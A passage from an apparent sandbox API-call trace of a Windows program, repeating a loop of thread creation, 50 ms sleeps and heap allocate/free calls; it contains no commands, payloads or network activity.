(in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b8 [0137.663] Sleep (dwMilliseconds=0x32) [0137.755] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.755] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.755] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0137.756] Sleep (dwMilliseconds=0x32) [0137.848] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.848] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.848] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bf0 [0137.849] Sleep (dwMilliseconds=0x32) [0137.943] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.943] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.943] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0137.943] Sleep (dwMilliseconds=0x32) [0138.036] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.036] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.036] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0138.037] Sleep (dwMilliseconds=0x32) [0138.130] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.130] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.130] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0138.130] Sleep (dwMilliseconds=0x32) [0138.255] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.255] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.255] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0138.255] Sleep (dwMilliseconds=0x32) [0138.348] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.348] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.348] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0138.349] Sleep (dwMilliseconds=0x32) [0138.441] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.441] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.441] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138 [0138.442] Sleep (dwMilliseconds=0x32) [0138.535] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.535] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.535] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0138.536] Sleep (dwMilliseconds=0x32) [0138.629] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.629] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.629] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0138.630] Sleep (dwMilliseconds=0x32) [0138.733] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.733] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.733] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0138.734] Sleep (dwMilliseconds=0x32) [0138.817] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.817] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.817] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1130 [0138.818] Sleep (dwMilliseconds=0x32) [0138.911] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0138.911] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0138.911] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0138.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810 [0138.911] Sleep (dwMilliseconds=0x32) [0139.004] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.004] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.004] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c [0139.004] Sleep (dwMilliseconds=0x32) [0139.097] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.097] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.097] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1110 [0139.097] Sleep (dwMilliseconds=0x32) [0139.190] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.190] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e8 [0139.191] Sleep (dwMilliseconds=0x32) [0139.284] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.284] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.284] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ec [0139.284] Sleep (dwMilliseconds=0x32) [0139.378] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.378] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.378] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f0 [0139.378] Sleep (dwMilliseconds=0x32) [0139.472] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.472] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.472] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c8 [0139.472] Sleep (dwMilliseconds=0x32) [0139.566] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.566] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10cc [0139.567] Sleep (dwMilliseconds=0x32) [0139.659] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.659] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.659] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10bc [0139.660] Sleep (dwMilliseconds=0x32) [0139.762] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.762] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.762] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0139.763] Sleep (dwMilliseconds=0x32) [0139.845] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.845] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.845] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0139.846] Sleep (dwMilliseconds=0x32) [0139.939] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0139.939] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0139.940] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0139.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x109c [0139.940] Sleep (dwMilliseconds=0x32) [0140.035] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.035] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.035] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0140.037] Sleep (dwMilliseconds=0x32) [0140.126] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.127] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.127] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0140.127] Sleep (dwMilliseconds=0x32) [0140.282] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.282] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.282] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0140.283] Sleep (dwMilliseconds=0x32) [0140.380] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.380] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.380] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0140.380] Sleep (dwMilliseconds=0x32) [0140.472] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.472] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.472] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1070 [0140.473] Sleep (dwMilliseconds=0x32) [0140.563] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.563] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.563] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1054 [0140.564] Sleep (dwMilliseconds=0x32) [0140.657] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.657] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.657] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c [0140.658] Sleep (dwMilliseconds=0x32) [0140.761] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.761] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.761] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0140.762] Sleep (dwMilliseconds=0x32) [0140.848] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.848] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.848] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1018 [0140.848] Sleep (dwMilliseconds=0x32) [0140.973] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0140.973] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0140.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0140.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x101c [0140.973] Sleep (dwMilliseconds=0x32) [0141.088] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.089] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.089] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1008 [0141.121] Sleep (dwMilliseconds=0x32) [0141.221] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.221] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.221] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84 [0141.221] Sleep (dwMilliseconds=0x32) [0141.318] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.318] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.318] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff8 [0141.319] Sleep (dwMilliseconds=0x32) [0141.406] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.406] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.406] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf78 [0141.406] Sleep (dwMilliseconds=0x32) [0141.500] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.500] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.500] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60 [0141.501] Sleep (dwMilliseconds=0x32) [0141.595] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.595] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.595] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf64 [0141.595] Sleep (dwMilliseconds=0x32) [0141.687] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.687] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.687] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf5c [0141.688] Sleep (dwMilliseconds=0x32) [0141.793] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.793] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.793] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf44 [0141.794] Sleep (dwMilliseconds=0x32) [0141.889] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.889] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.889] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c [0141.890] Sleep (dwMilliseconds=0x32) [0141.985] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0141.985] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0141.985] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0141.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0 [0141.985] Sleep (dwMilliseconds=0x32) [0142.076] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.076] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.076] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab4 [0142.077] Sleep (dwMilliseconds=0x32) [0142.173] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.173] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.173] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28 [0142.174] Sleep (dwMilliseconds=0x32) [0142.270] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.270] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.270] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc68 [0142.271] Sleep (dwMilliseconds=0x32) [0142.357] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.357] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.357] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf18 [0142.358] Sleep (dwMilliseconds=0x32) [0142.450] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.450] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.450] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf4 [0142.451] Sleep (dwMilliseconds=0x32) [0142.545] HeapValidate (hHeap=0x230000, 